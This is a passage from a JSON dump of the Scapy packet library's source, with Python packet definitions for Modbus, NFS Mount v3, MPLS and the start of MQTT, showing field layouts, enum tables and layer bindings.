2),\n                   FieldListField(\"writeRegistersValue\", [0x0000],\n                                  XShortField(\"\", 0x0000),\n                                  count_from=lambda pkt: pkt.byteCount)]\n\n\nclass ModbusPDU17ReadWriteMultipleRegistersResponse(Packet):\n    name = \"Read Write Multiple Registers Response\"\n    fields_desc = [XByteField(\"funcCode\", 0x17),\n                   BitFieldLenField(\"byteCount\", None, 8,\n                                    count_of=\"registerVal\",\n                                    adjust=lambda pkt, x: x * 2),\n                   FieldListField(\"registerVal\", [0x0000],\n                                  ShortField(\"\", 0x0000),\n                                  count_from=lambda pkt: pkt.byteCount)]\n\n\nclass ModbusPDU17ReadWriteMultipleRegistersError(Packet):\n    name = \"Read Write Multiple Exception\"\n    fields_desc = [XByteField(\"funcCode\", 0x97),\n                   ByteEnumField(\"exceptCode\", 1, _modbus_exceptions)]\n\n\nclass ModbusPDU18ReadFIFOQueueRequest(Packet):\n    name = \"Read FIFO Queue\"\n    fields_desc = [XByteField(\"funcCode\", 0x18),\n                   XShortField(\"FIFOPointerAddr\", 0x0000)]\n\n\nclass ModbusPDU18ReadFIFOQueueResponse(Packet):\n    name = \"Read FIFO Queue Response\"\n    fields_desc = [XByteField(\"funcCode\", 0x18),\n                   # TODO: ByteCount must includes size of FIFOCount\n                   BitFieldLenField(\"byteCount\", None, 16, count_of=\"FIFOVal\",\n                                    adjust=lambda pkt, p: p * 2 + 2),\n                   BitFieldLenField(\"FIFOCount\", None, 16, count_of=\"FIFOVal\"),\n                   FieldListField(\"FIFOVal\", [], ShortField(\"\", 0x0000),\n                                  count_from=lambda pkt: pkt.byteCount)]\n\n\nclass ModbusPDU18ReadFIFOQueueError(Packet):\n    name = \"Read FIFO Queue Exception\"\n    fields_desc = [XByteField(\"funcCode\", 0x98),\n                   ByteEnumField(\"exceptCode\", 1, _modbus_exceptions)]\n\n\n# TODO: not implemented, out of the main specification\n# class ModbusPDU2B0DCANOpenGeneralReferenceRequest(Packet):\n#     name = \"CANopen General Reference Request\"\n#     fields_desc = []\n#\n#\n# class ModbusPDU2B0DCANOpenGeneralReferenceResponse(Packet):\n#     name = \"CANopen General Reference Response\"\n#     fields_desc = []\n#\n#\n# class ModbusPDU2B0DCANOpenGeneralReferenceError(Packet):\n#     name = \"CANopen General Reference Error\"\n#     fields_desc = []\n\n\n# 0x2B/0x0E - Read Device Identification values\n_read_device_id_codes = {1: \"Basic\",\n                         2: \"Regular\",\n                         3: \"Extended\",\n                         4: \"Specific\"}\n# 0x00->0x02: mandatory\n# 0x03->0x06: optional\n# 0x07->0x7F: Reserved (optional)\n# 0x80->0xFF: product dependent private objects (optional)\n_read_device_id_object_id = {0x00: \"VendorName\",\n                             0x01: \"ProductCode\",\n                             0x02: \"MajorMinorRevision\",\n                             0x03: \"VendorUrl\",\n                             0x04: \"ProductName\",\n                             0x05: \"ModelName\",\n                             0x06: \"UserApplicationName\"}\n_read_device_id_conformity_lvl = {\n    0x01: \"Basic Identification (stream only)\",\n    0x02: \"Regular Identification (stream only)\",\n    0x03: \"Extended Identification (stream only)\",\n    0x81: \"Basic Identification (stream and individual access)\",\n    0x82: \"Regular Identification (stream and individual access)\",\n    0x83: \"Extended Identification (stream and individual access)\",\n}\n_read_device_id_more_follow = {0x00: \"No\",\n                               0x01: \"Yes\"}\n\n\nclass ModbusPDU2B0EReadDeviceIdentificationRequest(Packet):\n    name = \"Read Device Identification\"\n    fields_desc = [XByteField(\"funcCode\", 0x2B),\n                   XByteField(\"MEIType\", 0x0E),\n                   ByteEnumField(\"readCode\", 1, _read_device_id_codes),\n                   ByteEnumField(\"objectId\", 0x00, _read_device_id_object_id)]\n\n\nclass ModbusPDU2B0EReadDeviceIdentificationResponse(Packet):\n    name = \"Read Device Identification\"\n    fields_desc = [XByteField(\"funcCode\", 0x2B),\n                   XByteField(\"MEIType\", 0x0E),\n                   ByteEnumField(\"readCode\", 4, _read_device_id_codes),\n                   ByteEnumField(\"conformityLevel\", 0x01,\n                                 _read_device_id_conformity_lvl),\n                   ByteEnumField(\"more\", 0x00, _read_device_id_more_follow),\n                   ByteEnumField(\"nextObjId\", 0x00, _read_device_id_object_id),\n                   ByteField(\"objCount\", 0x00)]\n\n    def guess_payload_class(self, payload):\n        if self.objCount > 0:\n            return ModbusObjectId\n        else:\n            return Packet.guess_payload_class(self, payload)\n\n\nclass ModbusPDU2B0EReadDeviceIdentificationError(Packet):\n    name = \"Read Exception Status Exception\"\n    fields_desc = [XByteField(\"funcCode\", 0xAB),\n                   ByteEnumField(\"exceptCode\", 1, _modbus_exceptions)]\n\n\n_reserved_funccode_request = {\n    0x09: '0x09 Unknown Reserved Request',\n    0x0A: '0x0a Unknown Reserved Request',\n    0x0D: '0x0d Unknown Reserved Request',\n    0x0E: '0x0e Unknown Reserved Request',\n    0x29: '0x29 Unknown Reserved Request',\n    0x2A: '0x2a Unknown Reserved Request',\n    0x5A: 'Specific Schneider Electric Request',\n    0x5B: '0x5b Unknown Reserved Request',\n    0x7D: '0x7d Unknown Reserved Request',\n    0x7E: '0x7e Unknown Reserved Request',\n    0x7F: '0x7f Unknown Reserved Request',\n}\n\n_reserved_funccode_response = {\n    0x09: '0x09 Unknown Reserved Response',\n    0x0A: '0x0a Unknown Reserved Response',\n    0x0D: '0x0d Unknown Reserved Response',\n    0x0E: '0x0e Unknown Reserved Response',\n    0x29: '0x29 Unknown Reserved Response',\n    0x2A: '0x2a Unknown Reserved Response',\n    0x5A: 'Specific Schneider Electric Response',\n    0x5B: '0x5b Unknown Reserved Response',\n    0x7D: '0x7d Unknown Reserved Response',\n    0x7E: '0x7e Unknown Reserved Response',\n    0x7F: '0x7f Unknown Reserved Response',\n}\n\n_reserved_funccode_error = {\n    0x89: '0x89 Unknown Reserved Error',\n    0x8A: '0x8a Unknown Reserved Error',\n    0x8D: '0x8d Unknown Reserved Error',\n    0x8E: '0x8e Unknown Reserved Error',\n    0xA9: '0x88 Unknown Reserved Error',\n    0xAA: '0x88 Unknown Reserved Error',\n    0xDA: 'Specific Schneider Electric Error',\n    0xDB: '0xdb Unknown Reserved Error',\n    0xDC: '0xdc Unknown Reserved Error',\n    0xFD: '0xfd Unknown Reserved Error',\n    0xFE: '0xfe Unknown Reserved Error',\n    0xFF: '0xff Unknown Reserved Error',\n}\n\n\nclass ModbusPDUReservedFunctionCodeRequest(_ModbusPDUNoPayload):\n    name = \"Reserved Function Code Request\"\n    fields_desc = [\n        ByteEnumField(\"funcCode\", 0x00, _reserved_funccode_request),\n        StrFixedLenField('mb_payload', '', 255), ]\n\n    def mysummary(self):\n        return self.sprintf(\"Modbus Reserved Request %funcCode%\")\n\n\nclass ModbusPDUReservedFunctionCodeResponse(_ModbusPDUNoPayload):\n    name = \"Reserved Function Code Response\"\n    fields_desc = [\n        ByteEnumField(\"funcCode\", 0x00, _reserved_funccode_response),\n        StrFixedLenField('mb_payload', '', 255), ]\n\n    def mysummary(self):\n        return self.sprintf(\"Modbus Reserved Response %funcCode%\")\n\n\nclass ModbusPDUReservedFunctionCodeError(_ModbusPDUNoPayload):\n    name = \"Reserved Function Code Error\"\n    fields_desc = [\n        ByteEnumField(\"funcCode\", 0x00, _reserved_funccode_error),\n        StrFixedLenField('mb_payload', '', 255), ]\n\n    def mysummary(self):\n        return self.sprintf(\"Modbus Reserved Error %funcCode%\")\n\n\n_userdefined_funccode_request = {\n}\n_userdefined_funccode_response = {\n}\n_userdefined_funccode_error = {\n}\n\n\nclass ModbusByteEnumField(EnumField):\n    __slots__ = \"defEnum\"\n\n    def __init__(self, name, default, enum, defEnum):\n        EnumField.__init__(self, name, default, enum, \"B\")\n        self.defEnum = defEnum\n\n    def i2repr_one(self, pkt, x):\n        if self not in conf.noenum and not isinstance(x, VolatileValue) \\\n                and x in self.i2s:\n            return self.i2s[x]\n        if self.defEnum:\n            return self.defEnum\n        return repr(x)\n\n\nclass ModbusPDUUserDefinedFunctionCodeRequest(_ModbusPDUNoPayload):\n    name = \"User-Defined Function Code Request\"\n    fields_desc = [\n        ModbusByteEnumField(\n            \"funcCode\", 0x00, _userdefined_funccode_request,\n            \"Unknown user-defined request function Code\"),\n        StrFixedLenField('mb_payload', '', 255), ]\n\n    def mysummary(self):\n        return self.sprintf(\"Modbus User-Defined Request %funcCode%\")\n\n\nclass ModbusPDUUserDefinedFunctionCodeResponse(_ModbusPDUNoPayload):\n    name = \"User-Defined Function Code Response\"\n    fields_desc = [\n        ModbusByteEnumField(\n            \"funcCode\", 0x00, _userdefined_funccode_response,\n            \"Unknown user-defined response function Code\"),\n        StrFixedLenField('mb_payload', '', 255), ]\n\n    def mysummary(self):\n        return self.sprintf(\"Modbus User-Defined Response %funcCode%\")\n\n\nclass ModbusPDUUserDefinedFunctionCodeError(_ModbusPDUNoPayload):\n    name = \"User-Defined Function Code Error\"\n    fields_desc = [\n        ModbusByteEnumField(\n            \"funcCode\", 0x00, _userdefined_funccode_error,\n            \"Unknown user-defined error function Code\"),\n        StrFixedLenField('mb_payload', '', 255), ]\n\n    def mysummary(self):\n        return self.sprintf(\"Modbus User-Defined Error %funcCode%\")\n\n\nclass ModbusObjectId(Packet):\n    name = \"Object\"\n    fields_desc = [ByteEnumField(\"id\", 0x00, _read_device_id_object_id),\n                   BitFieldLenField(\"length\", None, 8, length_of=\"value\"),\n                   StrLenField(\"value\", \"\",\n                               length_from=lambda pkt: pkt.length)]\n\n    def guess_payload_class(self, payload):\n        return ModbusObjectId\n\n\n_modbus_request_classes = {\n    0x01: ModbusPDU01ReadCoilsRequest,\n    0x02: ModbusPDU02ReadDiscreteInputsRequest,\n    0x03: ModbusPDU03ReadHoldingRegistersRequest,\n    0x04: ModbusPDU04ReadInputRegistersRequest,\n    0x05: ModbusPDU05WriteSingleCoilRequest,\n    0x06: ModbusPDU06WriteSingleRegisterRequest,\n    0x07: ModbusPDU07ReadExceptionStatusRequest,\n    0x08: ModbusPDU08DiagnosticsRequest,\n    0x0B: ModbusPDU0BGetCommEventCounterRequest,\n    0x0C: ModbusPDU0CGetCommEventLogRequest,\n    0x0F: ModbusPDU0FWriteMultipleCoilsRequest,\n    0x10: ModbusPDU10WriteMultipleRegistersRequest,\n    0x11: ModbusPDU11ReportSlaveIdRequest,\n    0x14: ModbusPDU14ReadFileRecordRequest,\n    0x15: ModbusPDU15WriteFileRecordRequest,\n    0x16: ModbusPDU16MaskWriteRegisterRequest,\n    0x17: ModbusPDU17ReadWriteMultipleRegistersRequest,\n    0x18: ModbusPDU18ReadFIFOQueueRequest,\n}\n_modbus_error_classes = {\n    0x81: ModbusPDU01ReadCoilsError,\n    0x82: ModbusPDU02ReadDiscreteInputsError,\n    0x83: ModbusPDU03ReadHoldingRegistersError,\n    0x84: ModbusPDU04ReadInputRegistersError,\n    0x85: ModbusPDU05WriteSingleCoilError,\n    0x86: ModbusPDU06WriteSingleRegisterError,\n    0x87: ModbusPDU07ReadExceptionStatusError,\n    0x88: ModbusPDU08DiagnosticsError,\n    0x8B: ModbusPDU0BGetCommEventCounterError,\n    0x8C: ModbusPDU0CGetCommEventLogError,\n    0x8F: ModbusPDU0FWriteMultipleCoilsError,\n    0x90: ModbusPDU10WriteMultipleRegistersError,\n    0x91: ModbusPDU11ReportSlaveIdError,\n    0x94: ModbusPDU14ReadFileRecordError,\n    0x95: ModbusPDU15WriteFileRecordError,\n    0x96: ModbusPDU16MaskWriteRegisterError,\n    0x97: ModbusPDU17ReadWriteMultipleRegistersError,\n    0x98: ModbusPDU18ReadFIFOQueueError,\n    0xAB: ModbusPDU2B0EReadDeviceIdentificationError,\n}\n_modbus_response_classes = {\n    0x01: ModbusPDU01ReadCoilsResponse,\n    0x02: ModbusPDU02ReadDiscreteInputsResponse,\n    0x03: ModbusPDU03ReadHoldingRegistersResponse,\n    0x04: ModbusPDU04ReadInputRegistersResponse,\n    0x05: ModbusPDU05WriteSingleCoilResponse,\n    0x06: ModbusPDU06WriteSingleRegisterResponse,\n    0x07: ModbusPDU07ReadExceptionStatusResponse,\n    0x08: ModbusPDU08DiagnosticsResponse,\n    0x0B: ModbusPDU0BGetCommEventCounterResponse,\n    0x0C: ModbusPDU0CGetCommEventLogResponse,\n    0x0F: ModbusPDU0FWriteMultipleCoilsResponse,\n    0x10: ModbusPDU10WriteMultipleRegistersResponse,\n    0x11: ModbusPDU11ReportSlaveIdResponse,\n    0x14: ModbusPDU14ReadFileRecordResponse,\n    0x15: ModbusPDU15WriteFileRecordResponse,\n    0x16: ModbusPDU16MaskWriteRegisterResponse,\n    0x17: ModbusPDU17ReadWriteMultipleRegistersResponse,\n    0x18: ModbusPDU18ReadFIFOQueueResponse,\n}\n_mei_types_request = {\n    0x0E: ModbusPDU2B0EReadDeviceIdentificationRequest,\n    # 0x0D: ModbusPDU2B0DCANOpenGeneralReferenceRequest,\n}\n_mei_types_response = {\n    0x0E: ModbusPDU2B0EReadDeviceIdentificationResponse,\n    # 0x0D: ModbusPDU2B0DCANOpenGeneralReferenceResponse,\n}\n\n\nclass ModbusADURequest(Packet):\n    name = \"ModbusADU\"\n    fields_desc = [\n        # needs to be unique\n        XShortField(\"transId\", 0x0000),\n        # needs to be zero (Modbus)\n        XShortField(\"protoId\", 0x0000),\n        # is calculated with payload\n        ShortField(\"len\", None),\n        # 0xFF (recommended as non-significant value) or 0x00\n        XByteField(\"unitId\", 0xff),\n    ]\n\n    def guess_payload_class(self, payload):\n        function_code = orb(payload[0])\n\n        if function_code == 0x2B:\n            sub_code = orb(payload[1])\n            try:\n                return _mei_types_request[sub_code]\n            except KeyError:\n                pass\n        try:\n            return _modbus_request_classes[function_code]\n        except KeyError:\n            pass\n        if function_code in _reserved_funccode_request:\n            return ModbusPDUReservedFunctionCodeRequest\n        return ModbusPDUUserDefinedFunctionCodeRequest\n\n    def post_build(self, p, pay):\n        if self.len is None:\n            tmp_len = len(pay) + 1  # +len(p)\n            p = p[:4] + struct.pack(\"!H\", tmp_len) + p[6:]\n        return p + pay\n\n\nclass ModbusADUResponse(Packet):\n    name = \"ModbusADU\"\n    fields_desc = [\n        # needs to be unique\n        XShortField(\"transId\", 0x0000),\n        # needs to be zero (Modbus)\n        XShortField(\"protoId\", 0x0000),\n        # is calculated with payload\n        ShortField(\"len\", None),\n        # 0xFF or 0x00 should be used for Modbus over TCP/IP\n        XByteField(\"unitId\", 0xff),\n    ]\n\n    def guess_payload_class(self, payload):\n        function_code = orb(payload[0])\n\n        if function_code == 0x2B:\n            sub_code = orb(payload[1])\n            try:\n                return _mei_types_response[sub_code]\n            except KeyError:\n                pass\n        try:\n            return _modbus_response_classes[function_code]\n        except KeyError:\n            pass\n        try:\n            return _modbus_error_classes[function_code]\n        except KeyError:\n            pass\n        if function_code in _reserved_funccode_response:\n            return ModbusPDUReservedFunctionCodeResponse\n        elif function_code in _reserved_funccode_error:\n            return ModbusPDUReservedFunctionCodeError\n        if function_code < 0x80:\n            return ModbusPDUUserDefinedFunctionCodeResponse\n        return ModbusPDUUserDefinedFunctionCodeError\n\n    def post_build(self, p, pay):\n        if self.len is None:\n            tmp_len = len(pay) + 1  # +len(p)\n            p = p[:4] + struct.pack(\"!H\", tmp_len) + p[6:]\n        return p + pay\n\n\nbind_layers(TCP, ModbusADURequest, dport=502)\nbind_layers(TCP, ModbusADUResponse, sport=502)\n"
  },
  {
    "path": "scapy/contrib/mount.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Lucas Preston <lucas.preston@infinite.io>\n\n# scapy.contrib.description = NFS Mount v3\n# scapy.contrib.status = loads\n\nfrom scapy.contrib.oncrpc import RPC, RPC_Call\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import IntField, StrLenField, IntEnumField, PacketField, \\\n    ConditionalField, FieldListField\nfrom scapy.contrib.nfs import File_Object\n\nmountstat3 = {\n    0: 'MNT3_OK',\n    1: 'MNT3ERR_PERM',\n    2: 'MNT3ERR_NOENT',\n    5: 'MNT3ERR_IO',\n    13: 'MNT3ERR_ACCES',\n    20: 'MNT3ERR_NOTDIR',\n    22: 'MNT3ERR_INVAL',\n    63: 'MNT3ERR_NAMETOOLONG',\n    10004: 'MNT3ERR_NOTSUPP',\n    10006: 'MNT3ERR_SERVERFAULT'\n}\n\n\nclass Path(Packet):\n    name = 'Path'\n    fields_desc = [\n        IntField('length', 0),\n        StrLenField('path', '', length_from=lambda pkt: pkt.length),\n        StrLenField('fill', '', length_from=lambda pkt: (4 - pkt.length) % 4)\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n    def set(self, path, length=None, fill=None):\n        if length is None:\n            length = len(path)\n        if fill is None:\n            fill = b'\\x00' * ((4 - len(path)) % 4)\n        self.length = length\n        self.path = path\n        self.fill = fill\n\n\nclass NULL_Call(Packet):\n    name = 'MOUNT NULL Call'\n    fields_desc = []\n\n\nclass NULL_Reply(Packet):\n    name = 'MOUNT NULL Reply'\n    fields_desc = []\n\n\nbind_layers(RPC, NULL_Call, mtype=0)\nbind_layers(RPC, NULL_Reply, mtype=1)\nbind_layers(RPC_Call, NULL_Call, program=100005, procedure=0, pversion=3)\n\n\nclass MOUNT_Call(Packet):\n    name = 'MOUNT Call'\n    fields_desc = [\n        PacketField('path', Path(), Path)\n    ]\n\n\nclass MOUNT_Reply(Packet):\n    name = 'MOUNT Reply'\n    fields_desc = [\n        IntEnumField('status', 0, mountstat3),\n        ConditionalField(\n            PacketField('filehandle', File_Object(), File_Object),\n            lambda pkt: pkt.status == 0\n        ),\n        ConditionalField(IntField('flavors', 0), lambda pkt: pkt.status == 0),\n        ConditionalField(\n            FieldListField(\n                'flavor', None, IntField('', None),\n                count_from=lambda pkt: pkt.flavors\n            ),\n            lambda pkt: pkt.status == 0\n        )\n    ]\n\n    def get_filehandle(self):\n        if self.status == 0:\n            return self.filehandle.fh\n        return None\n\n\nbind_layers(RPC, MOUNT_Call, mtype=0)\nbind_layers(RPC, MOUNT_Reply, mtype=1)\nbind_layers(RPC_Call, MOUNT_Call, program=100005, procedure=1, pversion=3)\n\n\nclass UNMOUNT_Call(Packet):\n    name = 'UNMOUNT Call'\n    fields_desc = [\n        PacketField('path', Path(), Path)\n    ]\n\n\nclass UNMOUNT_Reply(Packet):\n    name = 'UNMOUNT Reply'\n    fields_desc = []\n\n\nbind_layers(RPC, UNMOUNT_Call, mtype=0)\nbind_layers(RPC, UNMOUNT_Reply, mtype=1)\nbind_layers(\n    RPC_Call, UNMOUNT_Call, program=100005, procedure=3, pversion=3\n)\n"
  },
  {
    "path": "scapy/contrib/mpls.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = Multiprotocol Label Switching (MPLS)\n# scapy.contrib.status = loads\n\nfrom scapy.packet import Packet, bind_layers, Padding\nfrom scapy.fields import (\n    BitField,\n    ByteField,\n    ByteEnumField,\n    PacketListField,\n    ShortField,\n)\n\nfrom scapy.layers.inet import (\n    _ICMP_classnums,\n    ICMPExtension_Object,\n    IP,\n    UDP,\n)\nfrom scapy.layers.inet6 import IPv6\nfrom scapy.layers.l2 import Ether, GRE\n\nfrom scapy.contrib.bier import BIER\n\n\nclass EoMCW(Packet):\n    name = \"EoMCW\"\n    fields_desc = [BitField(\"zero\", 0, 4),\n                   BitField(\"reserved\", 0, 12),\n                   ShortField(\"seq\", 0)]\n\n    def guess_payload_class(self, payload):\n        if len(payload) >= 1:\n            return Ether\n        return Padding\n\n\nclass MPLS(Packet):\n    name = \"MPLS\"\n    fields_desc = [BitField(\"label\", 3, 20),\n                   BitField(\"cos\", 0, 3),\n                   BitField(\"s\", 1, 1),\n                   ByteField(\"ttl\", 0)]\n\n    def guess_payload_class(self, payload):\n        if len(payload) >= 1:\n            if not self.s:\n                return MPLS\n            ip_version = (payload[0] >> 4) & 0xF\n            if ip_version == 4:\n                return IP\n            elif ip_version == 5:\n                return BIER\n            elif ip_version == 6:\n                return IPv6\n            else:\n                if payload[0] == 0 and payload[1] == 0:\n                    return EoMCW\n                else:\n                    return Ether\n        return Padding\n\n\n# ICMP Extension\n\nclass ICMPExtension_MPLS(ICMPExtension_Object):\n    name = \"ICMP Extension Object - MPLS (RFC4950)\"\n\n    fields_desc = [\n        ShortField(\"len\", None),\n        ByteEnumField(\"classnum\", 1, _ICMP_classnums),\n        ByteField(\"classtype\", 1),\n        PacketListField(\"stack\", [], MPLS, length_from=lambda pkt: pkt.len - 4),\n    ]\n\n\n# Bindings\n\nbind_layers(Ether, MPLS, type=0x8847)\nbind_layers(IP, MPLS, proto=137)\nbind_layers(IPv6, MPLS, nh=137)\nbind_layers(UDP, MPLS, dport=6635)\nbind_layers(GRE, MPLS, proto=0x8847)\nbind_layers(MPLS, MPLS, s=0)\nbind_layers(MPLS, IP, label=0)  # IPv4 Explicit NULL\nbind_layers(MPLS, IPv6, label=2)  # IPv6 Explicit NULL\nbind_layers(MPLS, EoMCW)\nbind_layers(EoMCW, Ether, zero=0, reserved=0)\n"
  },
  {
    "path": "scapy/contrib/mqtt.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Santiago Hernandez Ramos <shramos@protonmail.com>\n\n# scapy.contrib.description = Message Queuing Telemetry Transport (MQTT)\n# scapy.contrib.status = loads\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import (\n    BitEnumField,\n    ByteEnumField,\n    ByteField,\n    ConditionalField,\n    FieldLenField,\n    FieldListField,\n    PacketListField,\n    ShortField,\n    StrLenField,\n)\nfrom scapy.layers.inet import TCP\nfrom scapy.error import Scapy_Exception\nfrom scapy.compat import orb, chb\nfrom scapy.volatile import RandNum\nfrom scapy.config import conf\n\n\n# CUSTOM FIELDS\n# source: http://stackoverflow.com/a/43717630\nclass VariableFieldLenField(FieldLenField):\n    def addfield(self, pkt, s, val):\n        val = self.i2m(pkt, val)\n        data = []\n        while val:\n            if val > 127:\n                data.append(val & 127)\n                val //= 128\n            else:\n                data.append(val)\n                lastoffset = len(data) - 1\n                data = b\"\".join(chb(val | (0 if i == lastoffset else 128))\n                                for i, val in enumerate(data))\n                return s + data\n            if len(data) > 3:\n                raise Scapy_Exception(\"%s: malformed length field\" %\n                                      self.__class__.__name__)\n        # If val is None / 0\n        return s + b\"\\x00\"\n\n    def getfield(self, pkt, s):\n        value = 0\n        for offset, curbyte in enumerate(s):\n            curbyte = orb(curbyte)\n            value += (curbyte & 127) * (128 ** offset)\n            if curbyte & 128 == 0:\n                return s[offset + 1:], value\n            if offset > 2:\n                raise Scapy_Exception(\"%s: malformed length field\" %\n                                      self.__class__.__name__)\n\n    def randval(self):\n        return RandVariableFieldLen()\n\n\nclass RandVariableFieldLen(RandNum):\n    def __init__(self):\n        RandNum.__init__(self, 0, 268435455)\n\n\n# LAYERS\nCONTROL_PACKET_TYPE = {\n    1: 'CONNECT',\n    2: 'CONNACK',\n    3: 'PUBLISH',\n    4: 'PUBACK',\n    5: 'PUBREC',\n    6: 'PUBREL',\n    7: 'PUBCOMP',\n    8: 'SUBSCRIBE',\n    9: 'SUBACK',\n    10: 'UNSUBSCRIBE',\n    11: 'UNSUBACK',\n    12: 'PINGREQ',\n    13: 'PINGRESP',\n    14: 'DISCONNECT',\n    15: 'AUTH'  # Added in v5.0\n}\n\n\nQOS_LEVEL = {\n    0: 'At most once delivery',\n    1: 'At least once delivery',\n    2: 'Exactly once delivery'\n}\n\n\n# source: http://stackoverflow.com/a/43722441\nclass MQTT(Packet):\n    name = \"MQTT fixed header\"\n    fields_desc = [\n        BitEnumField(\"type\", 1, 4, CONTROL_PACKET_TYPE),\n        BitEnumField(\"DUP\", 0, 1, {0: 'Disabled',\n                                   1: 'Enabled'}),\n        BitEnumField(\"QOS\", 0, 2, QOS_LEVEL),\n        BitEnumField(\"RETAIN\", 0, 1, {0: 'Disabled',\n                                      1: 'Enabled'}),\n        # Since the size of the len field depends on the next layer, we need\n        # to \"cheat\" with the length_of parameter and use adjust parameter to\n        # calculate the value.\n        VariableFieldLenField(\"len\", None, length_of=\"len\",\n                              adjust=lambda pkt, x: len(pkt.payload),),\n    ]\n\n\nPROTOCOL_LEVEL = {\n    3: 'v3.1',\n    4: 'v3.1.1',\n    5: 'v5.0'\n}\n\n\nclass MQTTConnect(Packet):\n    name = \"MQTT connect\"\n    fields_desc = [\n        FieldLenField(\"length\", None, length_of=\"protoname\"),\n        StrLenField(\"protoname\", \"\",\n                    length_from=lambda pkt: pkt.length),\n        ByteEnumField(\"protolevel\", 5, PROTOCOL_LEVEL),\n        BitEnumField(\"usernameflag\", 0, 1, {0: 'Disabled',\n                                            1: 'Enabled'}),\n        BitEnumField(\"passwordflag\", 0, 1, {0: 'Disabled',\n                                            1: 'Enabled'}),\n        BitEnumField(\"willretainflag\", 0, 1, {0: 'Disabled',\n                                              1: 'Enabled'}),\n        BitEnumField(\"willQOSflag\", 0, 2, QOS_LEVEL),\n        BitEnumField(\"willflag\", 0, 1, {0: 'Disabled',\n                                        1: 'Enabled'}),\n        BitEnumField(\"cleansess\", 0, 1, {0: 'Disabled',\n                                         1: 'Enabled'}),\n        BitEnumField(\"reserved\", 0, 1, {0: 'Disabled',\n                                        1: 'Enabled'}),\n        ShortField(\"klive\", 0),\n        FieldLenField(\"clientIdlen\", None, length_of=\"clientId\"),\n        StrLenField(\"clientId\", \"\",\n                    length_from=lambda pkt: pkt.clientIdlen),\n        # Payload with optional fields depending on the flags\n        ConditionalField(FieldLenField(\"wtoplen\", None, length_of=\"willtopic\"),\n                         lambda pkt: pkt.willflag == 1),\n        ConditionalField(StrLenField(\"willtopic\", \"\",\n                                     length_from=lambda pkt: pkt.wtoplen),\n                         lambda pkt: pkt.willflag == 1),\n        ConditionalField(FieldLenField(\"wmsglen\", None, length_of=\"willmsg\"),\n                         lambda pkt: pkt.willflag == 1),\n        ConditionalField(StrLenField(\"willmsg\", \"\",\n                                     length_from=lambda pkt: pkt.wmsglen),\n                         lambda pkt: pkt.willflag == 1),\n        ConditionalField(FieldLenField(\"userlen\", None, length_of=\"username\"),\n                         lambda pkt: pkt.usernameflag == 1),\n        ConditionalField(StrLenField(\"username\", \"\",\n                                     length_from=lambda pkt: pkt.userlen),\n                         lambda pkt: pkt.usernameflag == 1),\n        ConditionalField(FieldLenField(\"passlen\", None, length_of=\"password\"),\n                         lambda pkt: pkt.passwordflag == 1),\n        ConditionalField(StrLenField(\"password\", \"\",\n                                     length_from=lambda pkt: pkt.passlen),\n                         lambda pkt: pkt.passwordflag == 1),\n    ]\n\n\nclass MQTTDisconnect(Packet):\n    name = \"MQTT disconnect\"\n    fields_desc = []\n\n\nRETURN_CODE = {\n    0: 'Connection Accepted',\n    1: 'Unacceptable protocol version',\n    2: 'Identifier rejected',\n    3: 'Server unavailable',\n    4: 'Bad username/password',\n    5: 'Not authorized'\n}\n\n\nclass MQTTConnack(Packet):\n    name = \"MQTT connack\"\n    fields_desc = [\n        ByteField(\"sessPresentFlag\", 0),\n        ByteEnumField(\"retcode\", 0, RETURN_CODE),\n        # this package has not payload\n    ]\n\n\nclass MQTTPublish(Packet):\n    name = \"MQTT publish\"\n    fields_desc = [\n        FieldLenField(\"length\", None, length_of=\"topic\"),\n        StrLenField(\"topic\", \"\",\n                    length_from=lambda pkt: pkt.length),\n        ConditionalField(ShortField(\"msgid\", None),\n                         lambda pkt: (pkt.underlayer.QOS == 1 or\n                                      pkt.underlayer.QOS == 2)),\n        StrLenField(\"value\", \"\",\n                    length_from=lambda pkt: pkt.underlayer.len - pkt.length - 2\n                    if pkt.underlayer.QOS == 0 else\n                    pkt.underlayer.len - pkt.length - 4)\n    ]\n\n\nclass MQTTPuback(Packet):\n    name = \"MQTT puback\"\n    fields_desc = [\n        ShortField(\"msgid\", None),\n    ]\n\n\nclass MQTTPubrec(Packet):\n    name = \"MQTT pubrec\"\n    fields_desc = [\n        ShortField(\"msgid\", None),\n    ]\n\n\nclass MQTTPubrel(Packet):\n    name = \"MQTT pubrel\"\n    fields_desc = [\n        ShortField(\"msgid\", None),\n    ]\n\n\nclass MQTTPubcomp(Packet):\n    name = \"MQTT pubcomp\"\n    fields_desc = [\n        ShortField(\"msgid\", None),\n    ]\n\n\nclass MQTTTopic(Packet):\n    name = \"MQTT topic\"\n    fields_desc = [\n        FieldLenField(\"length\", None, length_of=\"topic\"),\n        StrLenField(\"topic\", \"\", length_from=lambda pkt:pkt.length)\n    ]\n\n    def guess_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass MQTTTopicQOS(MQTTTopic):\n    fields_desc = MQTTTopic.fields_desc + [ByteEnumField(\"QOS\", 0, QOS_LEVEL)]\n\n\nclass MQTTSubscribe(Packet):\n    name = \"MQTT subscribe\"\n    fields_desc = [\n        ShortField(\"msgid\", None),\n        PacketListField(\"topics\", [], pkt_cls=MQTTTopicQOS)\n    ]\n\n\nALLOWED_RETURN_CODE = {\n    0x00: 'Granted QoS 0',\n    0x01: 'Granted QoS 1',\n    0x02: 'Granted QoS 2',\n    0x80: 'Unspecified error',\n    0x83: 'Implementation specific error',\n    0x87: 'Not authorized',\n    0x8F: 'Topic Filter invalid',\n    0x91: 'Packet Identifier in use',\n    0x97: 'Quota exceeded',\n    0x9E: 'Shared Subscriptions not supported',\n    0xA1: 'Subscription Identifiers not supported',\n    0xA2: 'Wildcard Subscriptions not supported',\n}\n\n\nclass MQTTSuback(Packet):\n    name = \"MQTT suback\"\n    fields_desc = [\n        ShortField(\"msgid\", None),\n        FieldListField(\"retcodes\", None, ByteEnumField(\"\", None, ALLOWED_RETURN_CODE))\n    ]\n\n\nclass MQTTUnsubscribe(Packet):\n    name = \"MQTT 